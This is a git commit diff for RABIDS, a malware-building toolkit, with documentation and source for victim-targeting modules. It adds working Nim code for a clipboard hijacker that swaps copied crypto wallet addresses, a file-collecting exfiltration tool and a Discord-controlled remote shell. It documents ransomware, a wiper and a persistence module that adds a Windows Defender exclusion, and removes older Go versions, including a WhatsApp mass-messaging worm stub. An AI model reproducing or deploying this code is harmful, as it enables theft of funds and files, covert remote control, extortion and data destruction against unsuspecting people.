Version 2

This commit is contained in:
Sarwar 🧃
2025-09-06 21:11:42 +05:00
parent 8613df6c1f
commit 28af278de7
33 changed files with 2512 additions and 2133 deletions

3
.gitignore vendored
View File

@ -1,2 +1,3 @@
.DS_Store
.LOOT
.LOOT
path

BIN
ASSETS/banner.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

BIN
ASSETS/error.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

BIN
ASSETS/excited.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

BIN
ASSETS/folder.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

BIN
ASSETS/garbage.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

BIN
ASSETS/loading.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

BIN
ASSETS/normal.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.4 KiB

BIN
ASSETS/success.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

BIN
ASSETS/unkrash.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 55 KiB

BIN
DLL/libcrypto-1_1-x64.dll Normal file

Binary file not shown.

BIN
DLL/libssl-1_1-x64.dll Normal file

Binary file not shown.

184
DOCUMENTATION.md Normal file
View File

@ -0,0 +1,184 @@
# RABIDS
This document provides a detailed overview of each module available in the RABIDS graphical user interface, including its purpose and configurable options.
---
## Installation and Setup
Before running RABIDS, you need to install several dependencies for Python, Nim, and Rust. The obfuscation feature also requires Docker.
### 1. Python Dependencies
The GUI is built with PyQt5. Install it using pip:
```bash
pip install PyQt5
```
### 2. Nim and Nimble Packages
The core payload modules are written in Nim.
- **Install Nim:** Follow the official instructions at [nim-lang.org/install](https://nim-lang.org/install.html).
- **Install Nimble Packages:** The modules require several external packages. Install them using the `nimble` command:
```bash
nimble install winim openssl discord nimcrypto clipb
```
### 3. Rust Environment
RABIDS uses a Rust wrapper for in-memory execution and obfuscation on Windows targets.
- **Install Rust:** Follow the official instructions at rust-lang.org/tools/install.
- **Install Cross-Compilation Targets:** To build for different architectures, you need to add the corresponding targets via `rustup`:
```bash
# For Windows 64-bit (amd64)
rustup target add x86_64-pc-windows-gnu
# For Windows 64-bit (arm64)
rustup target add aarch64-pc-windows-gnu
```
### 4. Docker (for Obfuscation)
The payload obfuscation feature uses a Docker container with a pre-built Obfuscator-LLVM toolchain.
- **Install Docker:** Get Docker Desktop from the official Docker website.
- **Pull the Obfuscator Image:** Download the required Docker image from the GitHub Container Registry:
```bash
docker pull ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest
```
---
## Important: Module Chaining Order
When building a payload with multiple modules, the order in which you add them matters. Modules are executed sequentially in the order they appear in the "MODULE CHAIN".
Some modules, like `ctrlvamp` and `ghostintheshell`, are **"blocking"**. This means they run in a continuous loop (e.g., to monitor the clipboard or wait for commands) and will prevent any subsequent modules in the chain from executing.
**Therefore, you should always place blocking modules at the end of your module chain.**
For example, if you want to gain persistence (`undeleteme`) and then start a reverse shell (`ghostintheshell`), the correct order is:
1. `undeleteme`
2. `ghostintheshell`
If you place `ghostintheshell` first, the `undeleteme` module will never run.
**Blocking Modules:**
- `ctrlvamp`
- `ghostintheshell`
---
## Module: `ctrlvamp`
**Description:**
Hijacks the system's clipboard to replace cryptocurrency wallet addresses. When a user copies a wallet address, this module swaps it with an address you control, redirecting payments.
**How it works:**
The payload continuously monitors the clipboard. It uses regular expressions to detect patterns matching various cryptocurrency addresses. When a match is found, it replaces the clipboard content with the corresponding address provided in the options.
**Options:**
- `btcAddress`: Your Bitcoin (BTC) address that will replace any BTC address copied by the victim.
- `ethAddress`: Your Ethereum (ETH) or EVM-compatible address that will replace any matching address copied by the victim.
- `bep20Address`: Your Binance Smart Chain (BEP-20) address.
- `solAddress`: Your Solana (SOL) address.
---
## Module: `dumpster`
**Description:**
A data exfiltration tool that collects files from a specified directory, compresses them, and archives them into a single data file (`dumpster.dat`). It can also be used to restore files from this archive.
**How it works:**
- **Collect Mode:** The payload recursively walks through the `inputDir`, reads the files, and writes them into a single archive file specified by `dumpsterFile`. This is the default behavior when building a payload.
- **Restore Mode:** The "Garbage Collector" tab uses this module to reverse the process. It reads a `.dat` file and extracts its contents to a specified output directory.
**Options:**
- `inputDir`: The target directory to collect files from (e.g., `$HOME/Documents`).
- `dumpsterFile`: The path where the collected data will be stored as a single archive file (e.g., `$HOME/dumpster.dat`).
- `collectMode` (Internal): Set to `true` to enable file collection. This is the default.
- `restoreMode` (Internal): Set to `true` to enable file restoration. This is used by the "Garbage Collector" tab.
---
## Module: `ghostintheshell`
**Description:**
Provides a covert reverse shell by leveraging the Discord API. The payload connects to Discord as a bot and listens for commands from a specific user, allowing for remote command execution on the victim's machine.
**How it works:**
The payload logs into Discord using the provided bot token. It then waits for messages from the specified `creatorId`. Any message received from that user is executed as a shell command, and the output is sent back as a message to the same Discord channel.
**Options:**
- `discordToken`: The authentication token for your Discord bot.
- `creatorId`: Your unique Discord user ID. The bot will only accept commands from this user to prevent unauthorized access.
---
## Module: `krash`
**Description:**
A ransomware module that encrypts files within a target directory. After encryption, it can display a ransom note to the user. The "UNKRASH" tab is its counterpart, used to build a decryptor.
**How it works:**
- **Encrypt Mode:** The payload recursively finds all files in `targetDir`, encrypts them using AES with the provided `key` and `iv`, and appends the specified `extension` to the filenames. It then writes the `htmlContent` to a file to serve as the ransom note.
- **Decrypt Mode:** The "UNKRASH" tab builds a decryptor using this same module. When the decryptor runs, it finds files with the `.locked` extension, decrypts them with the same key and IV, and restores their original filenames.
**Options:**
- `key`: The 256-bit AES encryption key (as a 32-character hex string).
- `iv`: The 128-bit AES initialization vector (as a 16-character hex string).
- `extension`: The file extension to append to encrypted files (e.g., `.locked`).
- `targetDir`: The directory whose contents will be encrypted.
- `htmlContent`: The HTML content of the ransom note that will be displayed to the victim.
- `decrypt` (Internal): Set to `true` to build a decryptor instead of an encryptor. This is used by the "UNKRASH" tab.
---
## Module: `poof`
**Description:**
A destructive module that permanently deletes all files and folders within a specified directory. Use with extreme caution.
**How it works:**
The payload recursively traverses the `targetDir` and forcefully removes every file and sub-directory it encounters. This action is irreversible.
**Options:**
- `targetDir`: The directory to wipe clean.
---
## Module: `undeleteme`
**Description:**
A persistence module designed to ensure the payload survives a system reboot. It can also attempt to add an exclusion to Windows Defender to avoid detection.
**How it works:**
- **Persistence:** If enabled, the payload will typically copy itself to a persistent location (like `AppData`) and create a registry key (e.g., in `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`) to ensure it runs automatically every time the user logs in.
- **Defender Exclusion:** If enabled, the payload will execute a PowerShell command (`Add-MpPreference -ExclusionPath`) to add its own path to the Windows Defender exclusion list, reducing the likelihood of being scanned and quarantined.
**Options:**
- `persistence`: A boolean (`true`/`false`) to enable or disable the persistence mechanism.
- `defenderExclusion`: A boolean (`true`/`false`) to enable or disable adding a Windows Defender exclusion.
---

View File

@ -1,229 +0,0 @@
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"time"
"github.com/go-rod/rod"
"github.com/go-rod/rod/lib/launcher"
"github.com/go-rod/rod/lib/proto"
)
func getDefaultProfileDir() string {
home, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
return filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default")
case "darwin":
return filepath.Join(home, "Library", "Application Support", "Google", "Chrome", "Default")
case "linux":
return filepath.Join(home, ".config", "google-chrome", "Default")
default:
return ""
}
}
func killChromeProcesses() {
fmt.Println("Killing existing Chrome processes...")
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("taskkill", "/F", "/IM", "chrome.exe")
case "darwin":
cmd = exec.Command("pkill", "-f", "Google Chrome")
case "linux":
cmd = exec.Command("pkill", "-f", "google-chrome")
default:
fmt.Println("Unsupported OS for killing Chrome processes")
return
}
if cmd != nil {
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Run()
if err != nil {
fmt.Println("No Chrome processes found or already killed")
} else {
fmt.Println("Chrome processes killed successfully")
}
time.Sleep(2 * time.Second)
}
}
func main() {
killChromeProcesses()
profileDir := getDefaultProfileDir()
if profileDir == "" {
fmt.Println("Unsupported OS or could not determine profile directory.")
return
}
if _, err := os.Stat(profileDir); err != nil {
fmt.Printf("Default Chrome profile not found at: %s\n", profileDir)
return
}
fmt.Printf("Using Chrome profile: %s\n", profileDir)
u := launcher.New().
UserDataDir(filepath.Dir(profileDir)).
Set("profile-directory", "Default").
Headless(true).
Leakless(false).
Set("disable-web-security", "false").
Set("disable-features", "TranslateUI").
Set("no-first-run", "true").
Set("no-default-browser-check", "true").
Set("disable-background-timer-throttling", "true").
Set("disable-backgrounding-occluded-windows", "true").
Set("disable-renderer-backgrounding", "true").
Set("disable-ipc-flooding-protection", "true").
Set("disable-hang-monitor", "true").
Set("disable-prompt-on-repost", "true").
Set("disable-domain-reliability", "true").
Set("disable-component-extensions-with-background-pages", "true").
Set("disable-background-mode", "true").
Set("disable-sync", "true").
Set("disable-translate", "true").
Set("disable-default-apps", "true").
Set("disable-extensions", "true").
Set("disable-background-networking", "true").
Set("mute-audio", "true").
Set("safebrowsing-disable-auto-update", "true").
Set("disable-popup-blocking", "true").
Set("disable-notifications", "true").
Set("disable-single-process", "true").
Set("no-zygote", "true").
Set("disable-dev-shm-usage", "true").
Set("no-sandbox", "true").
Set("disable-gpu", "true").
Set("remote-debugging-port", "0").
Set("window-size", "1920,1080").
Set("start-maximized", "true").
Set("new-window", "true").
Set("new-process", "true").
Set("no-reuse-windows", "true").
Set("disable-background-apps", "true").
MustLaunch()
browser := rod.New().ControlURL(u)
if err := browser.Connect(); err != nil {
fmt.Printf("Failed to connect to browser: %v\n", err)
fmt.Println("Trying to launch a new Chrome instance...")
u2 := launcher.New().
UserDataDir(filepath.Dir(profileDir)).
Set("profile-directory", "Default").
Headless(false).
Leakless(false).
Set("remote-debugging-port", "9222").
Set("new-window", "true").
Set("new-process", "true").
Set("no-reuse-windows", "true").
Set("disable-background-apps", "true").
Set("no-sandbox", "true").
Set("disable-gpu", "true").
MustLaunch()
browser = rod.New().ControlURL(u2)
if err := browser.Connect(); err != nil {
fmt.Printf("Failed to connect to browser after retry: %v\n", err)
fmt.Println("Please close all Chrome instances and try again.")
return
}
}
defer browser.MustClose()
page := browser.MustPage("https://web.whatsapp.com")
fmt.Println("Waiting for WhatsApp Web to load...")
qrSel := "canvas[aria-label='Scan me!']"
chatListSel := "div[role='listitem']"
loadTimeout := time.Now().Add(60 * time.Second)
loggedIn := false
for time.Now().Before(loadTimeout) {
if page.MustHas(chatListSel) {
loggedIn = true
break
}
if page.MustHas(qrSel) {
break
}
time.Sleep(2 * time.Second)
}
if !loggedIn {
if page.MustHas(qrSel) {
fmt.Println("WhatsApp Web is not logged in. Please scan the QR code in the opened browser window.")
} else {
fmt.Println("Could not detect WhatsApp Web login or chat list. Please check manually.")
}
return
}
fmt.Println("Logged in! Cycling through all chats...")
chats, err := page.Elements(chatListSel)
if err != nil || len(chats) == 0 {
fmt.Println("No chats found or error extracting chats.")
return
}
maxChats := len(chats)
processedChats := make(map[string]bool)
chatProcessTimeout := time.Now().Add(300 * time.Second)
for i := 0; i < maxChats && time.Now().Before(chatProcessTimeout); i++ {
chatName, _ := chats[i].Text()
if chatName == "" || processedChats[chatName] {
continue
}
processedChats[chatName] = true
fmt.Printf("\n=== Chat %d: %s ===\n", i+1, chatName)
clickErr := chats[i].Click(proto.InputMouseButtonLeft, 1)
if clickErr != nil {
fmt.Printf("Failed to click on chat %s: %v\n", chatName, clickErr)
continue
}
time.Sleep(3 * time.Second)
fmt.Printf("Cycled to chat: %s\n", chatName)
inputBox, err := page.Element("div[aria-label='Type a message'][contenteditable='true']")
if err != nil {
fmt.Printf("Could not find message input for chat %s: %v\n", chatName, err)
continue
}
predefinedMessage := "Hello from BartmossBrainworm!"
err = inputBox.Input(predefinedMessage)
if err != nil {
fmt.Printf("Could not type message in chat %s: %v\n", chatName, err)
continue
}
sendButton, err := page.Element("button[aria-label='Send']")
if err != nil {
fmt.Printf("Could not find send button for chat %s: %v\n", chatName, err)
continue
}
err = sendButton.Click(proto.InputMouseButtonLeft, 1)
if err != nil {
fmt.Printf("Could not click send button for chat %s: %v\n", chatName, err)
continue
}
fmt.Printf("Sent message to chat: %s\n", chatName)
time.Sleep(2 * time.Second)
}
fmt.Printf("\nTotal chats cycled: %d\n", len(processedChats))
fmt.Println("Done.")
}

View File

@ -1,16 +0,0 @@
package main
import (
"os/exec"
"fmt"
)
func main() {
cmd := exec.Command("shutdown", "/s", "/t", "0")
err := cmd.Run()
if err != nil {
fmt.Println("Failed to shutdown:", err)
}
}
func compile() {}

161
MODULE/ctrlvamp.nim Normal file
View File

@ -0,0 +1,161 @@
import os, re, strutils, times, osproc, winim
const
btcAddress = "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
ethAddress = "0x1234567890abcdef1234567890abcdef12345678"
bep20Address = "0xabcdef1234567890abcdef1234567890abcdef12"
solAddress = "4k3Dyjzvzp8eMZWUXbBCjEvwSkkk59S5iCNLY3QrkX6R"
let
btcRegex = re"^[13bc1][a-km-zA-HJ-NP-Z1-9]{25,34}$"
ethRegex = re"^0x[a-fA-F0-9]{40}$"
solRegex = re"^[1-9A-HJ-NP-Za-km-z]{32,44}$"
proc isValidBitcoinAddress(address: string): bool =
let valid = address.match(btcRegex)
echo "checking btc: ", address, " -> ", valid
valid
proc isValidEthereumAddress(address: string): bool =
let valid = address.match(ethRegex)
echo "checking eth: ", address, " -> ", valid
valid
proc isValidBEP20Address(address: string): bool =
let valid = isValidEthereumAddress(address)
echo "checking bep20: ", address, " -> ", valid
valid
proc isValidSolanaAddress(address: string): bool =
let valid = address.match(solRegex)
echo "checking sol: ", address, " -> ", valid
valid
proc readClipboard(): string =
when defined(windows):
if OpenClipboard(0):
defer: discard CloseClipboard()
let hData = GetClipboardData(CF_TEXT)
if hData != 0:
let data = cast[cstring](GlobalLock(hData))
defer: GlobalUnlock(hData)
if data != nil:
let clipboardText = $data
echo "windows clipboard read: ", clipboardText
return clipboardText.strip()
echo "failed to read clipboard on windows"
return ""
else:
echo "failed to open clipboard on windows: ", GetLastError()
return ""
elif defined(macosx):
let cmd = "pbpaste"
var (output, exitCode) = execCmdEx(cmd)
if exitCode == 0:
let result = output.strip()
echo "macos clipboard read: ", result
return result
else:
echo "error reading macos clipboard: ", output
return ""
else:
let cmd = "xclip -selection clipboard -o"
var (output, exitCode) = execCmdEx(cmd)
if exitCode == 0:
let result = output.strip()
echo "linux clipboard read: ", result
return result
else:
echo "error reading linux clipboard: ", output
return ""
proc writeClipboard(content: string): bool =
when defined(windows):
if OpenClipboard(0):
defer: discard CloseClipboard()
EmptyClipboard()
let hGlobal = GlobalAlloc(GMEM_MOVEABLE, content.len + 1)
if hGlobal != 0:
defer: GlobalFree(hGlobal)
let data = cast[cstring](GlobalLock(hGlobal))
copyMem(data, content.cstring, content.len + 1)
GlobalUnlock(hGlobal)
if SetClipboardData(CF_TEXT, hGlobal) != 0:
echo "windows clipboard write: ", content
return true
echo "failed to write to windows clipboard: ", GetLastError()
return false
else:
echo "failed to open windows clipboard: ", GetLastError()
return false
elif defined(macosx):
let escapedContent = content.replace("\\", "\\\\").replace("\"", "\\\"")
let cmd = "echo \"" & escapedContent & "\" | pbcopy"
let exitCode = execShellCmd(cmd)
if exitCode == 0:
echo "macos clipboard write: ", content
return true
else:
echo "error writing to macos clipboard"
return false
else:
let escapedContent = content.replace("\\", "\\\\").replace("\"", "\\\"")
let cmd = "echo \"" & escapedContent & "\" | xclip -selection clipboard"
let exitCode = execShellCmd(cmd)
if exitCode == 0:
echo "linux clipboard write: ", content
return true
else:
echo "error writing to linux clipboard"
return false
proc controlCHook() {.noconv.} =
echo "\nctrl+c detected, exiting."
quit(0)
proc main() =
setControlCHook(controlCHook)
var initialContent = readClipboard()
echo "initial clipboard: ", initialContent
echo "ctrl+c to exit"
while true:
let content = readClipboard()
if content.len > 0 and content != initialContent:
echo "clipboard changed: ", content
if btcAddress.len > 0 and content != btcAddress and isValidBitcoinAddress(content):
if writeClipboard(btcAddress):
echo "found btc, replaced with: ", btcAddress
initialContent = btcAddress
else:
echo "failed to write btc address"
initialContent = content
elif ethAddress.len > 0 and content != ethAddress and isValidEthereumAddress(content):
if writeClipboard(ethAddress):
echo "found eth, replaced with: ", ethAddress
initialContent = ethAddress
else:
echo "failed to write eth address"
initialContent = content
elif bep20Address.len > 0 and content != bep20Address and isValidBEP20Address(content):
if writeClipboard(bep20Address):
echo "found bep20, replaced with: ", bep20Address
initialContent = bep20Address
else:
echo "failed to write bep20 address"
initialContent = content
elif solAddress.len > 0 and content != solAddress and isValidSolanaAddress(content):
if writeClipboard(solAddress):
echo "found sol, replaced with: ", solAddress
initialContent = solAddress
else:
echo "failed to write sol address"
initialContent = content
else:
echo "no crypto address found"
initialContent = content
sleep(500)
when not isMainModule:
discard

89
MODULE/dumpster.nim Normal file
View File

@ -0,0 +1,89 @@
import os, strutils, base64
proc collect(input_dir: string, dumpster: string) =
try:
let dumpDir = parentDir(dumpster)
if dumpDir != "":
createDir(dumpDir)
except Exception:
echo "error creating the dumpster directory"
try:
let lootFile = open(dumpster, fmWrite)
defer: lootFile.close()
let fileExt: seq[string] = @[]
for file in walkDirRec(input_dir):
try:
if fileExists(file) and not (splitFile(file).ext.replace(".", "").toLowerAscii() in fileExt):
let content = readFile(file)
let b64 = encode(content)
let rel = relativePath(file, input_dir)
lootFile.write(rel & "\n" & b64 & "\n\n")
except Exception:
echo "error processing file: ", file
except Exception:
echo "error writing to the dumpster file"
proc restore(dumpster: string, output_dir: string) =
try:
createDir(output_dir)
except Exception:
echo "error creating the output directory"
try:
let content = readFile(dumpster)
for dataBlock in content.split("\n\n"):
let trimmed = dataBlock.strip()
if trimmed == "": continue
let parts = trimmed.split("\n", 1)
if parts.len != 2: continue
let rel = parts[0]
let b64 = parts[1]
try:
let data = $decode(b64)
let outpath = output_dir / rel
let outDir = parentDir(outpath)
if outDir != "":
createDir(outDir)
writeFile(outpath, data)
except Exception:
echo "error restoring file: ", rel
except Exception:
echo "error reading from the dumpster file"
const
inputDir = ""
dumpsterFile = ""
outputDir = ""
proc main() =
when defined(collectMode):
var currentInputDir = inputDir
var currentDumpsterFile = dumpsterFile
if "$HOME" in currentInputDir:
currentInputDir = currentInputDir.replace("$HOME", getHomeDir())
if "$HOME" in currentDumpsterFile:
currentDumpsterFile = currentDumpsterFile.replace("$HOME", getHomeDir())
if currentInputDir.len > 0 and currentDumpsterFile.len > 0:
collect(currentInputDir, currentDumpsterFile)
elif defined(restoreMode):
var currentDumpsterFile = dumpsterFile
var currentOutputDir = outputDir
if "$HOME" in currentDumpsterFile:
currentDumpsterFile = currentDumpsterFile.replace("$HOME", getHomeDir())
if "$HOME" in currentOutputDir:
currentOutputDir = currentOutputDir.replace("$HOME", getHomeDir())
if currentDumpsterFile.len > 0 and currentOutputDir.len > 0:
restore(currentDumpsterFile, currentOutputDir)
else: # Fallback to original command-line argument behavior
if paramCount() >= 3:
let mode = paramStr(1)
if mode == "--collect":
collect(paramStr(2), paramStr(3))
elif mode == "--restore":
restore(paramStr(2), paramStr(3))

258
MODULE/ghostintheshell.nim Normal file
View File

@ -0,0 +1,258 @@
import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams
const
discordToken = ""
creatorId = ""
cyrptoDllData = staticRead("../DLL/libcrypto-1_1-x64.dll")
sslDllData = staticRead("../DLL/libssl-1_1-x64.dll")
cyrptoDllName = "libcrypto-1_1-x64.dll"
sslDllName = "libssl-1_1-x64.dll"
let discord = newDiscordClient(discordToken)
var
currentDir = getCurrentDir()
sessionRegistry: seq[string] = @[]
proc runCommandSync(cmd: string): (string, int) =
result = ("", -1)
var p = startProcess(cmd,
options = {poEvalCommand, poUsePath, poStdErrToStdOut})
var output = newStringOfCap(4096)
while not p.outputStream.atEnd:
output.add(p.outputStream.readStr(4096))
let exitCode = p.waitForExit()
p.close()
return (output, exitCode)
proc runBlockingCommand(cmd: string, pidHolder: ref int): string =
var p = startProcess(cmd,
options = {poEvalCommand, poUsePath, poStdErrToStdOut})
pidHolder[] = p.processID
var output = newStringOfCap(4096)
while not p.outputStream.atEnd:
output.add(p.outputStream.readStr(4096))
discard p.waitForExit()
p.close()
return output
proc runCommandWithTimeoutKill(cmd: string, timeoutMs: int): Future[string] {.async.} =
var pidHolder = new(int)
let fut = spawn runBlockingCommand(cmd, pidHolder)
var elapsed = 0
let interval = 100 # ms
while not isReady(fut) and elapsed < timeoutMs:
await sleepAsync(interval)
elapsed += interval
if isReady(fut):
return ^fut
else:
when defined(windows):
discard execShellCmd("taskkill /PID " & $pidHolder[] & " /T /F")
else:
discard execShellCmd("kill -9 " & $pidHolder[])
return "Command timed out and was terminated after " & $(timeoutMs div 1000) & " seconds."
proc sendMessage(channelId: string, content: string): Future[Message] {.async.} =
result = await discord.api.sendMessage(channelId, content)
proc sendFile(channelId: string, filePath: string, fileName: string): Future[void] {.async.} =
let fileContent = readFile(filePath)
discard await discord.api.sendMessage(
channelId,
files = @[DiscordFile(name: fileName, body: fileContent)]
)
proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
if cmd == "!dir" or cmd == "!ls":
when defined(windows):
let (output, exitCode) = execCmdEx("cmd /c dir", options = {poUsePath}, workingDir = currentDir)
if exitCode != 0:
return "command failed with exit code " & $exitCode & ":\n" & output
else:
return output
else:
let (output, exitCode) = execCmdEx("ls", options = {poUsePath}, workingDir = currentDir)
if exitCode != 0:
return "command failed with exit code " & $exitCode & ":\n" & output
else:
return output
elif cmd.startsWith("!cd "):
let newDir = cmd[4..^1].strip()
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
if dirExists(targetDir):
setCurrentDir(targetDir)
currentDir = targetDir
return "changed directory to " & currentDir
else:
return "directory not found: " & targetDir
elif cmd == "!upload":
if m.attachments.len == 0:
return "no file attached. Please send a file with the !upload command."
else:
let attachment = m.attachments[0]
let downloadUrl = attachment.url
let fileName = attachment.filename
try:
let fileData = client.getContent(downloadUrl)
let savePath = os.joinPath(currentDir, fileName)
writeFile(savePath, fileData)
return "downloaded file to " & savePath
except CatchableError as e:
return "failed to download file: " & e.msg
elif cmd.startsWith("!download "):
let fileName = cmd[10..^1].strip()
let filePath = os.joinPath(currentDir, fileName)
if fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
return "download successful"
else:
return "file not found: " & filePath
elif cmd.startsWith("!mkdir "):
let dirName = cmd[7..^1].strip()
let dirPath = os.joinPath(currentDir, dirName)
try:
createDir(dirPath)
return "created directory: " & dirPath
except CatchableError as e:
return e.msg
elif cmd.startsWith("!touch "):
let fileName = cmd[7..^1].strip()
let filePath = os.joinPath(currentDir, fileName)
try:
writeFile(filePath, "")
return "created file: " & filePath
except CatchableError as e:
return e.msg
elif cmd.startsWith("!rm "):
let target = cmd[4..^1].strip()
let path = os.joinPath(currentDir, target)
if fileExists(path):
try:
removeFile(path)
return "Deleted file: " & path
except CatchableError as e:
return e.msg
elif dirExists(path):
try:
removeDir(path)
return "deleted directory: " & path
except CatchableError as e:
return e.msg
else:
return "no such file or directory: " & path
elif cmd == "!screencapture":
when defined(macosx):
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
let filePath = os.joinPath(currentDir, fileName)
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
if exitCode == 0 and fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
return "screenshot taken and sent!"
else:
return "failed to take screenshot: " & output
elif defined(windows):
let fileName = "screenshot_" & $now().toTime().toUnix() & ".png"
let filePath = os.joinPath(currentDir, fileName)
let powershellScript = """
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$bitmap.Save('%1', [System.Drawing.Imaging.ImageFormat]::Png)
"""
let command = "powershell -Command \"" & powershellScript.replace("%1", filePath.replace("\\", "\\\\")) & "\""
let (output, exitCode) = execCmdEx(command)
if exitCode == 0 and fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
return "Screenshot taken and sent!"
else:
return "failed to take screenshot: " & output
else:
return "screencapture not supported on this platform."
else:
try:
when defined(macosx):
let command = cmd[1..^1]
return await runCommandWithTimeoutKill(command, 60000)
elif defined(windows):
let command = "cmd /c " & cmd[1..^1]
return await runCommandWithTimeoutKill(command, 60000)
else:
return "unsupported platform for command execution."
except CatchableError as e:
return "error running command: " & e.msg
proc getHostname(): string =
when defined(windows):
let (output, exitCode) = execCmdEx("hostname")
if exitCode == 0:
return output.strip()
else:
return "unknown hostname"
else:
let (output, exitCode) = execCmdEx("hostname")
if exitCode == 0:
return output.strip()
else:
return "unknown hostname"
var machineName = getEnv("MACHINE_NAME", getHostname())
proc onReady(s: Shard, r: Ready) {.event(discord).} =
when defined(windows):
if not fileExists(cyrptoDllName):
writeFile(cyrptoDllName, cyrptoDllData)
if not fileExists(sslDllName):
writeFile(sslDllName, sslDllData)
let dm = await discord.api.createUserDm(creatorId)
if machineName notin sessionRegistry:
sessionRegistry.add(machineName)
discard await discord.api.sendMessage(dm.id, machineName & " IS LIVE <3")
proc messageCreate(s: Shard, m: Message) {.event(discord).} =
if m.author.bot: return
var client = newHttpClient()
let content = m.content.strip()
if content == "!sessions":
let sessionList = if sessionRegistry.len == 0: "no active sessions." else: sessionRegistry.join("\n")
discard await sendMessage(m.channel_id, sessionList)
return
if content.startsWith("!" & machineName & " "):
let cmd = content[(machineName.len + 2)..^1].strip()
echo cmd
try:
let output = await handleCommand(cmd, m, client)
discard await sendMessage(m.channel_id, output)
except CatchableError as e:
discard await sendMessage(m.channel_id, e.msg)
return
if content == "!ping":
let before = epochTime() * 1000
let msg = await discord.api.sendMessage(m.channel_id, "ping?")
let after = epochTime() * 1000
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
proc main() =
when isMainModule:
waitFor discord.startSession()
else:
discard

View File

@ -1,87 +0,0 @@
package main
import (
"fmt"
"regexp"
"time"
"github.com/atotto/clipboard"
)
const (
predefinedBitcoinAddress = "1BitcoinPredefinedAddressExample1234"
predefinedEthereumAddress = "0xEthereumPredefinedAddress1234567890abcdef"
predefinedBEP20Address = "0xBEP20PredefinedAddress1234567890abcdef"
predefinedSolanaAddress = "So1anaPredefinedAddressExample1234567890"
)
func isValidBitcoinAddress(address string) bool {
btcRegex := regexp.MustCompile(`^[13bc1][a-km-zA-HJ-NP-Z1-9]{25,34}$`)
return btcRegex.MatchString(address)
}
func isValidEthereumAddress(address string) bool {
ethRegex := regexp.MustCompile(`^0x[a-fA-F0-9]{40}$`)
return ethRegex.MatchString(address)
}
func isValidBEP20Address(address string) bool {
return isValidEthereumAddress(address)
}
func isValidSolanaAddress(address string) bool {
solRegex := regexp.MustCompile(`^[1-9A-HJ-NP-Za-km-z]{32,44}$`)
return solRegex.MatchString(address)
}
func setClipboardContent(content string) error {
return clipboard.WriteAll(content)
}
func main() {
initialContent, _ := clipboard.ReadAll()
for {
content, err := clipboard.ReadAll()
if err != nil {
fmt.Println("Error reading clipboard:", err)
break
}
if content != initialContent {
fmt.Printf("New address copied to clipboard: %s\n", content)
if isValidBitcoinAddress(content) {
fmt.Println("This is a valid Bitcoin address.")
setClipboardContent(predefinedBitcoinAddress)
fmt.Println("Clipboard replaced with predefined Bitcoin address.")
initialContent = predefinedBitcoinAddress
continue
} else if isValidEthereumAddress(content) {
fmt.Println("This is a valid Ethereum address.")
setClipboardContent(predefinedEthereumAddress)
fmt.Println("Clipboard replaced with predefined Ethereum address.")
initialContent = predefinedEthereumAddress
continue
} else if isValidBEP20Address(content) {
fmt.Println("This is a valid BEP-20 address.")
setClipboardContent(predefinedBEP20Address)
fmt.Println("Clipboard replaced with predefined BEP-20 address.")
initialContent = predefinedBEP20Address
continue
} else if isValidSolanaAddress(content) {
fmt.Println("This is a valid Solana address.")
setClipboardContent(predefinedSolanaAddress)
fmt.Println("Clipboard replaced with predefined Solana address.")
initialContent = predefinedSolanaAddress
continue
} else {
fmt.Println("This is not a recognized wallet address.")
}
initialContent = content
}
time.Sleep(1 * time.Second)
}
}

View File

@ -1,67 +0,0 @@
package main
import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"syscall"
)
func copyFile(src, dst string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
if err != nil {
return err
}
return out.Close()
}
func main() {
appdata := os.Getenv("APPDATA")
if appdata == "" {
fmt.Println("APPDATA environment variable not found")
return
}
hiddenFolder := filepath.Join(appdata, ".sysdata")
err := os.MkdirAll(hiddenFolder, 0755)
if err != nil {
fmt.Println("Error creating hidden folder:", err)
return
}
exePath, err := os.Executable()
if err != nil {
fmt.Println("Error getting executable path:", err)
return
}
targetExe := filepath.Join(hiddenFolder, "syshost.exe")
err = copyFile(exePath, targetExe)
if err != nil {
fmt.Println("Error copying exe:", err)
return
}
exec.Command("attrib", "+h", hiddenFolder).Run()
exec.Command("attrib", "+h", targetExe).Run()
